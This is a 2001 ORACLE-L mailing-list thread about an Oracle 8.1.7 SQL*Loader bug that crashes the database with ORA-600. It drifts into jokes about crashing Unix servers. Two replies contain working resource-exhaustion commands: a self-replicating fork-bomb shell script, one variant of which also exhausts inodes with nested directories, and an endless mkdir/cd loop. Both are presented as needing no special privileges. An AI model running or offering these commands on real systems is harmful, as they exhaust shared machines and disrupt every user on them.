Chew up the inodes! Excellent. (Monty Burns "excellent" with the fingers
twitching as opposed to the Bill and Ted "excellent" with the air guitar.)
echo 'mkdir $$; cd $$' > /tmp/t.sh
echo '/tmp/t.sh &' >> /tmp/t.sh
echo '/tmp/t.sh &' >> /tmp/t.sh
chmod 777 /tmp/t.sh
/tmp/t.sh
Your technological distinctiveness has been added to the collective...
Brian Norrell
Manager, MPI Development
QuadraMed
511 E John Carpenter Frwy, Su 500
Irving, TX 75062
(972) 831-6600
-----Original Message-----
Sent: Wednesday, May 09, 2001 8:40 PM
To: Multiple recipients of list ORACLE-L
yeah? Well how do you like this?
while :
do
mkdir ./t
cd ./t
done
;)
Jared
On Wednesday 09 May 2001 09:00, Norrell, Brian wrote:
> You want to crash the server? On any Unix box, execute the following four
> commands:
>
> echo './t.sh &' > t.sh
> echo './t.sh &' >> t.sh
> chmod 777 t.sh
> ./t.sh
>
> Don't even need special privileges to ruin everyone's day...
>
> Brian Norrell
> Manager, MPI Development
> QuadraMed
> 511 E John Carpenter Frwy, Su 500
> Irving, TX 75062
> (972) 831-6600
>
>
> -----Original Message-----
> Sent: Tuesday, May 08, 2001 11:23 AM
> To: Multiple recipients of list ORACLE-L
>
>
> Back a few years ago I remember being able to crash a NetWare server (4.x
I
> think) running an early version of Oracle7 just by running some
> syntactically incorrect SQL. Yup, that not only crashed the database, but
> also the server.
>
> Henry
>
> -----Original Message-----
> Sent: Tuesday, May 08, 2001 9:37 AM
> To: Multiple recipients of list ORACLE-L
>
>
> Hi Jared,
>
> Nope, not direct mode. The table contains a couple of CLOB columns.
>
> Haven't heard back from Oracle yet, but you're right, it is kind of scary.
> We were planning on using this environment for hosting some of our more
> active web sites.
>
> --Walt
>
> -----Original Message-----
> Sent: Monday, May 07, 2001 5:59 PM
> To: [EMAIL PROTECTED]; Weaver, Walt
>
>
>
> Walt,
>
> What's scary about this is not just that you've managed to crash
> the database by very innocent means, but we don't know how else
> this bug can be invoked. It could be something equally innocuous.
>
> Q: Are you loading in direct mode?
>
> Jared
>
> On Monday 07 May 2001 16:20, Weaver, Walt wrote:
> > Just thought I'd share what I learned today with everyone. This is
Oracle
> > 8.1.7 on a VA Linux 4450, Linux Red Hat 6.2. I'm migrating customers
from
> > MySQL to Oracle, using Sqlloader to load the data into Oracle.
> >
> > In one table I have the following column: C$NOTES VARCHAR2(4000)
> >
> > In my Sqlloader script I have an entry: C$NOTES CHAR(4000)
> >
> > When I ran Sqlloader about 130 out of 35,000 rows were not loaded due to
> > a "inserted value too large for column" error on C$NOTES.
> >
> > So, just for grins I changed the Sqlloader entry to C$NOTES CHAR(40000).
> >
> > When I run Sqlloader for the table with this value, it crashes the
>
> database
>
> > every time with an ORA-600 [4620] [] [] [] [] [] error. Every dang time.
> > Pmon just gives up the ghost, man. Shuts the door and turns off the
>
> lights.
>
> > Dies a horrible death.
> >
> > Now, obviously I created this problem myself, but it seems to me that
> > Oracle
> >
> > should be able to handle this a bit more gracefully than it does. :>)
> >
> > Anybody else ever see this? I've logged an iTar on MetaMidget to inform
>
> the
>
> > authorities of the problem. My cursory search on MetaMidget uncovered
> > absolutely no evidenct that anyone knows about this.
> >
> > --Walt Weaver
> > Bozeman, Montana
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